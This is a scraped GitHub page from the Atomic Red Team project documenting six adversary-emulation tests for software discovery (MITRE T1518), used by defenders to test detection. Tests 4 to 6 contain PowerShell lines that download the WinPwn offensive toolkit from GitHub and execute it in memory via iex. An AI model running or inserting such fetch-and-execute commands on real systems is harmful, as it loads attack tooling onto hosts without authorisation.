Product Solutions Resources Open Source Enterprise Pricing Sign in Sign up

redcanaryco / atomic-red-team Public

Notifications Fork 2.8k Star 9.7k

Code Issues 6 Pull requests 5 Actions Wiki Security Insights

Files

f339e7d

Go to file

.github
atomic_red_team
atomics
Indexes
T1003.001
T1003.002
T1003.003
T1003.004
T1003.005
T1003.006
T1003.007
T1003.008
T1003
T1006
T1007
T1010
T1012
T1014
T1016
T1018
T1020
T1021.001
T1021.002
T1021.003
T1021.006
T1027.001
T1027.002
T1027.004
T1027
T1030
T1033
T1036.003
T1036.004
T1036.005
T1036.006
T1036

atomic-red-team / atomics / T1518 / T1518.md

Atomic Red Team doc generat... Generated docs from job=generate-d... 5289ef6 · 2 years ago History

Preview Code Blame 199 lines (81 loc) · 4.92 KB Raw

T1518 - Software Discovery

Description from ATT&CK

> Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1518) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
> Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to Exploitation for Privilege Escalation.

Atomic Tests

- Atomic Test #1 - Find and Display Internet Explorer Browser Version
- Atomic Test #2 - Applications Installed
- Atomic Test #3 - Find and Display Safari Browser Version
- Atomic Test #4 - WinPwn - Dotnetsearch
- Atomic Test #5 - WinPwn - DotNet
- Atomic Test #6 - WinPwn - powerSQL

Atomic Test #1 - Find and Display Internet Explorer Browser Version

Query the registry to determine the version of internet explorer installed on the system. Upon execution, version information about internet explorer will be displayed.

Supported Platforms: Windows

auto_generated_guid: 68981660-6670-47ee-a5fa-7e74806420a4

Attack Commands: Run with `command_prompt`!

```
reg query "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer" /v s
```

- T1037.001
- T1037.002
- T1037.004
- T1037.005
- T1039
- T1040

Atomic Test #2 - Applications Installed

Query the registry to determine software and versions installed on the system. Upon execution a table of software name and version information will be displayed.

Supported Platforms: Windows

auto_generated_guid: c49978f6-bd6e-4221-ad2c-9e3e30cc1e3b

Attack Commands: Run with `powershell`!

```
Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninsta
Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVer
```

Atomic Test #3 - Find and Display Safari Browser Version

Adversaries may attempt to get a listing of non-security related software that is installed on the system. Adversaries may use the information from Software Discovery during automated discovery to shape follow-on behaviors

Supported Platforms: macOS

auto_generated_guid: 103d6533-fd2a-4d08-976a-4a598565280f

Attack Commands: Run with `sh`!

```
/usr/libexec/PlistBuddy -c "print :CFBundleShortVersionString" /Applicat
/usr/libexec/PlistBuddy -c "print :CFBundleVersion" /Applications/Safari
```

Atomic Test #4 - WinPwn - Dotnetsearch

Search for any .NET binary file in a share using the Dotnetsearch function of WinPwn

Supported Platforms: Windows

auto_generated_guid: 7e79a1b6-519e-433c-ad55-3ff293667101

Attack Commands: Run with `powershell`!

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercont
Dotnetsearch -noninteractive -consoleoutput
```

Atomic Test #5 - WinPwn - DotNet

Search for .NET Service-Binaries on this system via winpwn dotnet function of WinPwn.

Supported Platforms: Windows

auto_generated_guid: 10ba02d0-ab76-4f80-940d-451633f24c5b

Attack Commands: Run with `powershell`!

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubuserconte
dotnet -consoleoutput -noninteractive
```

Atomic Test #6 - WinPwn - powerSQL

Start PowerUpSQL Checks using powerSQL function of WinPwn

Supported Platforms: Windows

auto_generated_guid: 0bb64470-582a-4155-bde2-d6003a95ed34

Attack Commands: Run with `powershell`!

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubuserconte
powerSQL -noninteractive -consoleoutput
```